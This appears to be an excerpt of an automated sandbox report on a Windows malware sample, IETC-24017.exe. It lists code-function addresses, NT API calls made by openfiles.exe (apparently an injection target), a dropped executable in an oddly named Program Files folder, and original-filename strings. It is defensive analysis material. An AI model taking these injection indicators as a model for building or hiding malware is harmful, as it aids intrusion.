Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A2B80 NtQueryInformationFile,	7_2_049A2B80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A3090 NtSetValueKey,	7_2_049A3090
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A3010 NtOpenDirectoryObject,	7_2_049A3010
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A3D10 NtOpenProcessToken,	7_2_049A3D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A3D70 NtOpenThread,	7_2_049A3D70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007B93A0 NtCreateFile,	7_2_007B93A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007B9510 NtReadFile,	7_2_007B9510
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007B9610 NtDeleteFile,	7_2_007B9610
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007B96C0 NtClose,	7_2_007B96C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007B9820 NtAllocateVirtualMemory,	7_2_007B9820

Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_025CD344	0_2_025CD344
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_04D17278	0_2_04D17278
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_04D10040	0_2_04D10040
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_04D10007	0_2_04D10007
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_04D17269	0_2_04D17269
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06ECF280	0_2_06ECF280
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC95ED	0_2_06EC95ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC95F0	0_2_06EC95F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC0560	0_2_06EC0560
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC0559	0_2_06EC0559
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06ECB0F1	0_2_06ECB0F1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06ECB100	0_2_06ECB100
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06ECACC8	0_2_06ECACC8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC9A28	0_2_06EC9A28
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC9A18	0_2_06EC9A18
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_004188A3	3_2_004188A3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00402810	3_2_00402810
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00403010	3_2_00403010
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_004100FB	3_2_004100FB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00410103	3_2_00410103
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00416A9E	3_2_00416A9E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00416AA3	3_2_00416AA3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00410323	3_2_00410323
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040E333	3_2_0040E333
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00402BCF	3_2_00402BCF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00402BD0	3_2_00402BD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040E477	3_2_0040E477
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040E483	3_2_0040E483
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040E54A	3_2_0040E54A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0042EF83	3_2_0042EF83
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D01AA	3_2_018D01AA
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C41A2	3_2_018C41A2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C81CC	3_2_018C81CC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800100	3_2_01800100
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AA118	3_2_018AA118
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01898158	3_2_01898158
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D03E6	3_2_018D03E6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E3F0	3_2_0181E3F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CA352	3_2_018CA352
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018902C0	3_2_018902C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0274	3_2_018B0274
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D0591	3_2_018D0591
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810535	3_2_01810535
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BE4F6	3_2_018BE4F6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B4420	3_2_018B4420
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C2446	3_2_018C2446
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180C7C0	3_2_0180C7C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01834750	3_2_01834750
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810770	3_2_01810770
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182C6E0	3_2_0182C6E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018129A0	3_2_018129A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018DA9A6	3_2_018DA9A6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01826962	3_2_01826962
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E8F0	3_2_0183E8F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181A840	3_2_0181A840
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01812840	3_2_01812840
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F68B8	3_2_017F68B8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C6BD7	3_2_018C6BD7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CAB40	3_2_018CAB40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01828DBF	3_2_01828DBF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180ADE0	3_2_0180ADE0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181AD00	3_2_0181AD00
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018ACD1F	3_2_018ACD1F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B0CB5	3_2_018B0CB5
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800CF2	3_2_01800CF2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810C00	3_2_01810C00
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188EFA0	3_2_0188EFA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01802FC8	3_2_01802FC8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01852F28	3_2_01852F28
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01830F30	3_2_01830F30
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B2F30	3_2_018B2F30
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01884F40	3_2_01884F40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822E90	3_2_01822E90
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CCE93	3_2_018CCE93
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CEEDB	3_2_018CEEDB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CEE26	3_2_018CEE26
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810E59	3_2_01810E59
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FF172	3_2_017FF172
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181B1B0	3_2_0181B1B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018DB16B	3_2_018DB16B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0184516C	3_2_0184516C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018170C0	3_2_018170C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BF0CC	3_2_018BF0CC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C70E9	3_2_018C70E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CF0E0	3_2_018CF0E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0185739A	3_2_0185739A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FD34C	3_2_017FD34C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C132D	3_2_018C132D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018152A0	3_2_018152A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182B2C0	3_2_0182B2C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B12ED	3_2_018B12ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182D2F0	3_2_0182D2F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AD5B0	3_2_018AD5B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C7571	3_2_018C7571
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CF43F	3_2_018CF43F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01801460	3_2_01801460
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CF7B0	3_2_018CF7B0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C16CC	3_2_018C16CC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A5910	3_2_018A5910
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01819950	3_2_01819950
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182B950	3_2_0182B950
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018138E0	3_2_018138E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187D800	3_2_0187D800
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182FB80	3_2_0182FB80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01885BF0	3_2_01885BF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0184DBF9	3_2_0184DBF9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CFB76	3_2_018CFB76
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01855AA0	3_2_01855AA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018ADAAC	3_2_018ADAAC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B1AA3	3_2_018B1AA3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BDAC6	3_2_018BDAC6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CFA49	3_2_018CFA49
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C7A46	3_2_018C7A46
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01883A6C	3_2_01883A6C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182FDC0	3_2_0182FDC0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01813D40	3_2_01813D40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C1D5A	3_2_018C1D5A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C7D73	3_2_018C7D73
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CFCF2	3_2_018CFCF2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01889C32	3_2_01889C32
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01811F92	3_2_01811F92
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CFFB1	3_2_018CFFB1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CFF09	3_2_018CFF09
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01819EB0	3_2_01819EB0
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC0FFD	6_2_07CC0FFD
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC0FF1	6_2_07CC0FF1
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC2E9D	6_2_07CC2E9D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC0EAD	6_2_07CC0EAD
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC961D	6_2_07CC961D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC9618	6_2_07CC9618
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC7D8D	6_2_07CC7D8D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC2C7D	6_2_07CC2C7D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC2C75	6_2_07CC2C75
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CCB41D	6_2_07CCB41D
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CE1AFD	6_2_07CE1AFD
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC10C4	6_2_07CC10C4
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A1E4F6	7_2_04A1E4F6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A14420	7_2_04A14420
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A22446	7_2_04A22446
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A30591	7_2_04A30591
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04970535	7_2_04970535
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498C6E0	7_2_0498C6E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0496C7C0	7_2_0496C7C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04994750	7_2_04994750
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04970770	7_2_04970770
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A02000	7_2_04A02000
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A301AA	7_2_04A301AA
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A281CC	7_2_04A281CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04960100	7_2_04960100
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A0A118	7_2_04A0A118
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049F8158	7_2_049F8158
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049F02C0	7_2_049F02C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A10274	7_2_04A10274
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A303E6	7_2_04A303E6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0497E3F0	7_2_0497E3F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2A352	7_2_04A2A352
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A10CB5	7_2_04A10CB5
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04960CF2	7_2_04960CF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04970C00	7_2_04970C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04988DBF	7_2_04988DBF
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0496ADE0	7_2_0496ADE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0497AD00	7_2_0497AD00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A0CD1F	7_2_04A0CD1F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04982E90	7_2_04982E90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2CE93	7_2_04A2CE93
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2EEDB	7_2_04A2EEDB
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2EE26	7_2_04A2EE26
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04970E59	7_2_04970E59
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049EEFA0	7_2_049EEFA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04962FC8	7_2_04962FC8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A12F30	7_2_04A12F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04990F30	7_2_04990F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049B2F28	7_2_049B2F28
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049E4F40	7_2_049E4F40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049568B8	7_2_049568B8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0499E8F0	7_2_0499E8F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04972840	7_2_04972840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0497A840	7_2_0497A840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A3A9A6	7_2_04A3A9A6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049729A0	7_2_049729A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04986962	7_2_04986962
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0496EA80	7_2_0496EA80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A26BD7	7_2_04A26BD7
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2AB40	7_2_04A2AB40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2F43F	7_2_04A2F43F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04961460	7_2_04961460
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A0D5B0	7_2_04A0D5B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A27571	7_2_04A27571
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A216CC	7_2_04A216CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2F7B0	7_2_04A2F7B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2F0E0	7_2_04A2F0E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A270E9	7_2_04A270E9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049770C0	7_2_049770C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A1F0CC	7_2_04A1F0CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0497B1B0	7_2_0497B1B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A3B16B	7_2_04A3B16B
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0495F172	7_2_0495F172
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049A516C	7_2_049A516C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049752A0	7_2_049752A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A112ED	7_2_04A112ED
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498B2C0	7_2_0498B2C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498D2F0	7_2_0498D2F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049B739A	7_2_049B739A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2132D	7_2_04A2132D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0495D34C	7_2_0495D34C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2FCF2	7_2_04A2FCF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049E9C32	7_2_049E9C32
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498FDC0	7_2_0498FDC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A27D73	7_2_04A27D73
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04973D40	7_2_04973D40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A21D5A	7_2_04A21D5A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04979EB0	7_2_04979EB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04971F92	7_2_04971F92
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2FFB1	7_2_04A2FFB1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04933FD2	7_2_04933FD2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04933FD5	7_2_04933FD5
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2FF09	7_2_04A2FF09
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049738E0	7_2_049738E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049DD800	7_2_049DD800
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A05910	7_2_04A05910
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04979950	7_2_04979950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498B950	7_2_0498B950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A11AA3	7_2_04A11AA3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A0DAAC	7_2_04A0DAAC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049B5AA0	7_2_049B5AA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A1DAC6	7_2_04A1DAC6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A27A46	7_2_04A27A46
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2FA49	7_2_04A2FA49
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049E3A6C	7_2_049E3A6C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0498FB80	7_2_0498FB80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049ADBF9	7_2_049ADBF9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_049E5BF0	7_2_049E5BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_04A2FB76	7_2_04A2FB76
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007A1F60	7_2_007A1F60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079D070	7_2_0079D070
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079B080	7_2_0079B080
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079B1D0	7_2_0079B1D0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079B1C4	7_2_0079B1C4
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079B297	7_2_0079B297
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007A55F0	7_2_007A55F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007A37F0	7_2_007A37F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007A37EB	7_2_007A37EB
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_007BBCD0	7_2_007BBCD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079CE50	7_2_0079CE50
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0079CE48	7_2_0079CE48
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0484E6CC	7_2_0484E6CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0484E2B6	7_2_0484E2B6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0484E3D3	7_2_0484E3D3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0484D838	7_2_0484D838
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 7_2_0484CB23	7_2_0484CB23

Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: String function: 0188F290 appears 103 times
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: String function: 01857E54 appears 99 times
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: String function: 017FB970 appears 262 times
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: String function: 0187EA12 appears 86 times
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: String function: 01845130 appears 58 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 0495B970 appears 257 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 049B7E54 appears 99 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 049DEA12 appears 86 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 049A5130 appears 58 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 049EF290 appears 103 times

Source: IETC-24017.exe, 00000000.00000002.1692106162.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs IETC-24017.exe
Source: IETC-24017.exe, 00000000.00000002.1695361828.00000000074E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs IETC-24017.exe
Source: IETC-24017.exe, 00000000.00000002.1683716815.0000000002701000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs IETC-24017.exe
